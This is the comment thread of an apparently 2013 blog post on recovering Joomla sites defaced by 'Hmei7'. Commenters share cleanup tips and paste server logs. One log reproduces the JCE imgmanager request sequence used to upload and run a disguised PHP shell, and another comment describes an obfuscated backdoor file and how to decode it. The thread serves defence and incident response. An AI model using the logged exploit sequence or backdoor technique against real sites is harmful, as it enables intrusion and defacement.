      Once the Joomla site is fixed, it should come back just as it was prior to the hack. Hmei7 only seems to target a few files. Once those files are fixed/removed as described in the article, your web site should be as it was before the attack.

      The jury is still out on the information from that article you included. I’m not sure either way.

  62. Drew Patterson

    One of our client’s sites were hacked by this person and I found in my IP logs that while he is initially uploading the files with the he is then switching to another IP to access the files again: which from what I can tell is a Turkish Telecommunications Company “Turk Telekom” … here are my log instances: – – [08/Jan/2013:17:45:53 -0600] “GET /images/stories/susu.php?indonesia HTTP/1.1” 200 285 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0” – – [08/Jan/2013:17:45:59 -0600] “POST /images/stories/susu.php?indonesia HTTP/1.1” 200 318 “” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0” – – [08/Jan/2013:17:46:09 -0600] “GET /images/stories/css.php HTTP/1.1” 200 253445 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0” – – [08/Jan/2013:17:46:16 -0600] “POST /images/stories/css.php HTTP/1.1” 200 68992 “” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0” – – [08/Jan/2013:17:46:33 -0600] “POST /images/stories/css.php HTTP/1.1” 200 15116 “” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0” – – [08/Jan/2013:17:46:37 -0600] “POST /images/stories/css.php HTTP/1.1” 200 16801 “” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0” – – [08/Jan/2013:17:46:50 -0600] “GET /images/stories/css.php HTTP/1.1” 200 253445 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0” – – [08/Jan/2013:17:46:55 -0600] “POST /images/stories/css.php HTTP/1.1” 200 197768 “” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0” – – [08/Jan/2013:17:46:57 -0600] “GET /images/stories/css.php HTTP/1.1” 403 613 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0” – – [08/Jan/2013:19:05:07 -0600] “GET /modules/mod_adagency_remote/en-gt.php HTTP/1.1” 200 152 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0”

    1. Josh Post author


      Thank you for this information and taking the time to comment. Interesting find. I’ll check my logs and update the article.

    1. Josh Post author


      Thank you for your comments, questions, and finding this specific exploit. This appears to be the exploit that the hacker is using. It is hard to tell for sure without knowing which JCE versions are being used in the hacked sites. The version my client was using was 1.5.7.

  63. Chad

    The imgmanager plugin in JCE is public facing? They do not authenticate users uploading files?

    Or is this issue only for people that have the editor in the front end?

    1. Josh Post author

      The imgmanager plugin is not public facing, but it is public accessible. It does not have to be available in the front end in order for the public to access it’s files. Anyone can access JCE’s files simply by having it installed on the web site. Anyone that knows the structure of the plugin (which is anyone that has 5 minutes) can easily determine if imgmanager is installed on a web site. This goes for most components, plugins, etc. I don’t think the user is verified to be authenticated in the version of JCE that includes this exploit, otherwise the hacker wouldn’t be able to use the JCE functions without being logged in. I don’t know exactly what the exploit is (I haven’t looked into it), but the problem is with the exploit in the old version of JCE. The newest version of the JCE component/imgmanager plugin (version 2.3.1) no longer includes this exploit.

  64. SteveD

    Many thanks for the quick tips on how to sort this.

    In my images directory I also found a indexs.php file which contained:

    After playing with this for a while I realised you could get to the original source by replacing the eval code with:

    echo “”.gzinflate(base64_decode($code)).””;

    Unfortunately my Linux/PHP skills are not that hot, but it seems to be code for a remote access tool called B374K-shell. As I did not install this I have removed it too.

    1. SteveD

      Oops – seems to have lost the contents of my code tags, which is:



      // no malware on this code, you can check it by yourself 😉


      $code = "A whole load of encoded stuff appears here";

      echo "”.gzinflate(base64_decode($code)).””;


      1. Josh Post author


        Thank you for your comment. This is interesting, Hmei7 could be using more than one script for his attacks. Although the code you found does have some similarities to the B374K-shell script, they appear to be different. Searching the e-mail address in your code, it appears that the code you found is a backdoor script used by hackers. The B374K-shell script is an admin tool, but it could easily be used or adapted by hackers for their use.

        Sorry for not having code support yet. I have many things to do to get the site configured and will add support for this soon.

  65. tai

    thanks for posting this. one of my accounts was hit this morning from it, you saved me alot of the grunt work. thanks again!

  66. Raphael Schmidt

    Hi Josh,

    I maintain a website that was hacked in this manner last night. In my case, there were a couple of extra files in the stories/ directory (css.php and .htaccess). Things are now back up and running and JCE has been disabled.

    Thanks for the clear, concise view of the situation. It saved me a lot of time and worry.

    1. Josh Post author


      Thank you for your comments. I’m glad the article helped you to get your site back online without too much trouble.

    1. Josh Post author


      Thank you for your comment. The latest JCE version 2.3.1 no longer includes this exploit. I will update the article to include this information.

    1. Josh Post author


      Thank you for bringing this to my attention. I will update the article to include this information. The problem is that there are thousands of sites that have the old plugin installed and many of the owners of those sites will not know of their security issue until their site is hacked. That leaves a large amount of sites waiting to be exploited.

  67. Kevin Goulding

    I awoke this morning to the stark reality of a Hmei7 hack to our village community website. Crestfallen I googled and found your website with your expert guidance. Within 30mins I had the website back up and running.

    I can’t thank you enough.

    1. Josh


      I’m glad the article was useful to you and that your community web site was only down for a minimal amount of time. Be sure to update your JCE component to the latest version, or remove the old version as the old version is the source of the exploit. Thank you for your kind words.

  68. jocino

    **i forgot to remove the brackets from that found code.. i’m sorry for the repost:

    a href=”photo.php?pid=101207&id=100001782424921″ id=”myphotolink”

    img src=”” id=”myphoto”

  69. jocino


    i wanted to thank you (and your posters) for putting this piece up on the web and helping me to fix my clients problem without so much as a drop of sweat falling. 🙂

    I will point out however, that this fix, while great, does not appear to be the end of the problem. I found a pages that had missing images, and they were replaced with this:

    a href=”photo.php?pid=101207&id=100001782424921″ id=”myphotolink”>

    Also… sorting through the ftp by date, i have found a handful of jpegs in the images/stories/ folder that were changed…. so… it’s probably a very good idea to spend some extra time double and triple checking your folders.

    I am curious to know if there have been any recurrences of this hack within the same site after it has been removed?

    Thanks again for the help everybody.

    1. Josh

      You’re welcome Jocino, I’m glad the article was useful to you. You are correct, additional digging might be needed to find all of the files put on the server by the hacker. Interesting that the Facebook image that you posted is unavailable. I wonder what the purpose of that code was and how it got there. I haven’t seen any comments or stumbled on any other information about web sites that had been hit more than once. It is possible, it just depends on how the hacker finds his targets and also depends on other factors.

  70. OrChavex

    I found these lines on my apache access.log – – [07/Jan/2013:14:46:28 -0500] “GET /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.0” 200 23629 “-” “Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)” – – [07/Jan/2013:14:46:32 -0500] “POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743 HTTP/1.0” 200 72 “-” “BOT/0.1 (indonesian defacer)” – – [07/Jan/2013:14:46:34 -0500] “GET /images/stories/000-aaz.gif HTTP/1.0” 200 2737 “-” “Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)” – – [07/Jan/2013:14:46:35 -0500] “POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.0” 200 36 “-” “BOT/0.1 (indonesian defacer)” – – [07/Jan/2013:14:46:36 -0500] “GET /images/stories/000-aaz.php?yaiyalah HTTP/1.0” 200 982 “-” “Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)” – – [07/Jan/2013:14:46:37 -0500] “GET / HTTP/1.0” 200 28 “-” “Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)”

    It’s a vulneravity on the imgmanager plugin.

    1. Josh Post author


      Thank you very much for posting your find! This is valuable information! I searched my apache logs and found entries that were almost identical to yours. I’ll use this to do some digging and update the article.

  71. Pingback: BLOG GIGASERVER.CZ » Joomla – hacked by Hmei7

  72. Miguel

    I did the changes you suggested but still front page says same “Hacked by Hmei7”. My configuration.php was ok however my index.php was gutted. I fixed as per you instructions then uploaded a new version of index.php from another or my sites and it came back up. Thanks!

    1. Josh Post author

      Hi Miguel,

      I’m glad you found the problem with index.php to get your site back online. Thank you for your comment and sharing. I’ll update the article to include this information.

  73. Robin Wubben

    Hi Josh, my website was hacked as well… With your great explanation I have solved the problems quickly. Thank you very much.

  74. Patricio

    I saw the same on once of our website. see the file “erro_log” that is at the root of the website can give us more clues.

  75. Gosa

    Just wanted to thank you for the article and I did the same thing.
    I’m still looking for the culprit but I also think it was JCE but can’t be 100% sure.

    What you can do if not to many files has changed on the site, is use terminal if you have SSH access to find out what files has changed recently.
    For instance when you see the date of susu.php to be from 2 days ago, you could use the following command: find . -mtime -2 –type f
    The “-type f” means to skip folders.
    You will get a list of files changed since two days ago.

    If anyone finds the culprit and is 100% sure, feel free to post here 🙂

    Josh, thanks again for the article and keeping it updated.

    1. Josh Post author


      I’m glad the article helped. Thank you for this great information. I’ll add this to the article for anyone else that might benefit from using it. When fixing the site I looked for files that were changed recently, but searched manually. This will make things much easier for anyone that has been hacked differently.

  76. Dave

    Hi Josh,

    thanks for the heads up. Same thing happened to me. Did you isolate the problem? how did the hacker get in? Was it a component maybe?

    1. Josh Post author

      Hi Dave,

      I’m glad this helped. I wasn’t able to track down how he hacked the site. From what we know, it appears he used an exploit to upload the script susu.php to /images/stories. Then running the script uploads the x.txt file and changes the configuration.php file. I used BackTrack 5 and Joomscan to scan the web site to see what exploit could have been used to do this and came up empty. Although Joomscan found several exploits, none of them seemed to be severe enough to do this. Maybe you would have better luck with Joomscan.

    2. Josh Post author


      Thanks to OrChavex, he found out that the hacker uses the imgmanager plugin of the jce component to hack his sites. OrChavex’s comment below shows what he found. I’ll be updating the article with more information.

Comments are closed.